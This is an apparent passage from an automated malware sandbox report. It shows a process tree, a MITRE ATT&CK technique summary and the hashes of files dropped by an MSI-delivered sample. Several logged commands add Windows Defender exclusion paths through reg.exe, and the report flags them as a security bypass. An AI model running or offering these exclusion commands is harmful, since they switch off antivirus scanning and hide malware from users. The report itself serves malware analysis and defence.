- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HSQMVa" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1872
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4084
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:4880 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3780
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5080
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:4440 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2708
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Virtualization/Sandbox Evasion
2Replay Monitor
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Downloads
- Path C:\Config.Msi\e58752c.rbs
- Size 7KB
- SHA256 0841bbe86694c93f48688afd73332a88b5742fb102c1bd79c39997c35d5ac4bd
- MD5 5ea74fc04b805e275e4387fe8df0e672
- SHA1 50c6875921000753c06e3bfcdd8cf9bb12c0855f
- SHA512 39d95cae6a5d6cd46738fdd6ae032147aba4ecf2bf601f4d18506cb0326c0a0a144869349775cf3ce28f782fa5bbb42a9c281116ea243bfe5385e462e9a689f3
- SSDEEP 192:n3egLv8WbI1WbMSwFc3JHsS15ePCBvp5EA+rCRm8X:n+WOW104
- TLSH T19EF13F42B6444AE2F8D31F7AC7035B6A37B2D7E95314A31F44CD44701F427C99FAA58A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\HSQMVa\UxEnhance64.dll
- Size 3.1MB
- SHA256 d61577c946cea8a9cfc13ae6c68fc03fc16dd98d5112393f1c5c4e0ec8f84dc2
- MD5 3fcd8fe36cda63e00c67ad3d069bb7be
- SHA1 ba9f9ef2e3ea4ea321878cca0412abd3a33fad5e
- SHA512 50796eeec3afe1e7f32c0b4515027b45b0a5d3a8595b4d08e9207dfa850df4dc8d202617cec0b5727b0abf27eb5c6d0f32cdfe39a63349ca57aa96a6733ee2a6
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+3:P9m29xx3Tiqt06ox6+z2rNNrKo3
- TLSH T156E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\HSQMVa\adoresd.dat
- Size 4.8MB
- SHA256 4451cdee7acfb78722e325709fa596493fcfb2ace5dc6ab29a40094208ce6e62
- MD5 32c087110b0a945120770abc7e750753
- SHA1 991805c18c70a16499cbc8a0322560665c2c0e0e
- SHA512 28df6613fa27d291a7c516d1a1f2faace848bbf89db48a3fbc5c395b4794b4033c51460504933bbef797b41ea7d13e2368d9208468374efa3a0c7318519e6fe7
- SSDEEP 98304:euZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:jQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T191363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\HSQMVa\hixMOz.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\HSQMVa\msadox.tb
- Size 8KB
- SHA256 e2eeb4d0058e7b2db55c0af963ad83af62f97b556128b3915ec6de8a71f3d2f6
- MD5 19f364ed42ea79f2aa2e8bbc402c3376
- SHA1 0ba9ee3736015214233cd224f8b434aaed142435
- SHA512 4aa55ff200d2a8bef2be03cae4255e24eac8c4e3aea9017c532451bf6182a60df0867e01eebbf1ecbf56168f92f4aabf72d765086f65f12e41c7d29a804e123d
- SSDEEP 192:LqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:LsZqZOXQ3uqvR2Kfzp
- TLSH T1D8029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI7693.tmp
- Size 7.2MB
- SHA256 08d1da18eae6507f100884754220a8be14454b6dc7d53b41143cfeb736501ba7
- MD5 2124b1ade058ec726be101ca6d0b46be
- SHA1 0c572704e1acb6cd2069bcdf2c0b8a1180eb4355
- SHA512 dcd154d6f1c6d60f886d417e57a012bfe5411861d2f110a950db1836b941be376dd7927954ab7e31226144317782d66e2ab2fa8829292d4522d1165b83ac950a
- SSDEEP 196608:pNszuSrjTkP4BJJufIgnv1t9GRPHmimAiLOA:pNlIjTiOJu5t9aHTiSA
- TLSH T1DB7633DA1CC9B3BAD06BC3B4C646303E782D37C27D6A4E03B1D836111D7571A29BAB56
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e58752b.msi
- Size 7.2MB
- SHA256 40159e55d986dbd2adc9fc6a952f059adea46b5eb351b3da204ca6fdfa1ee1fa
- MD5 8c8623c034431af6fc53c084f32ab77a
- SHA1 3c2a5c2eb944b867118643b4ee530f33951f49bc
- SHA512 8ec14a97d708232cd9d75dbaeafe08d2e847562fbaa10d2a15cf7ffdb76039d50a8fd1f06a6f338dcded2a2ca96411b285e84846077956851f3b551bce3b1755
- SSDEEP 196608:aNszuSrjTkP4gJJufIgnv1t9GRPHmimAiLOw:aNlIjTirJu5t9aHTiSw
- TLSH T15D76339A2CC9B7B6D05BC3B08647703E782D3FC27E6A4D03B2D836111D7171629BAB56
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 692f1e7e1031f9af6a464fd759e6b5aa21f4c99b7fc2a93e4b1188acb54126f5
- MD5 ba655c6889e92e0a647f62ca85949e9c
- SHA1 fb52076d2965e68627900a1ce8802f97c3142a3e
- SHA512 b726e66639952692eb8f42e001d082af96a082bd4f459c0b8bff5ec48cda57e14a1edbac0fa722bbbfa36d4a1f07f41c268c52b051070f8e139a58a4a5304442
- SSDEEP 24576:ou8m+1zEdoO/vvTL7WBeU26FA4kDJFhitHmNjegl5Uqwe2YMYvlYpXqhU:/
- TLSH T13B47D22432F92510E7F39E3CA8F1AA2389397D579C199E8D05411F4E0961FB1E872F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{fef0c820-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{43b2a4cb-1f1b-4679-8d07-1d0bf4a3a4ce}_OnDiskSnapshotProp
- Size 6KB
- SHA256 6ec1557e36ed11c705aa23e0adb2bf47a53c9989f39d51130123fb972d5d8bd3
- MD5 cc2fb7e402010872e1a305c145b20da6
- SHA1 d4bc738271652606fd3feaa47752cd05dc7867cc
- SHA512 691e617902abac6cbfb090a3e27b6801e48b8d646333b52a3af1599c61d97da4e930c7acf3b3f605c8b45ca4485e8d957984404b7c07072e7e0b53063991f374
- SSDEEP 96:FqOBMOMlSvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:9xHb++ZVm
- TLSH T1D8D19A085AF54711E2B3AB712DF18557A877B811EF33CB8E0198238E2670A10F875F6B
- MD5 SHA1 SHA512 SSDEEP TLSH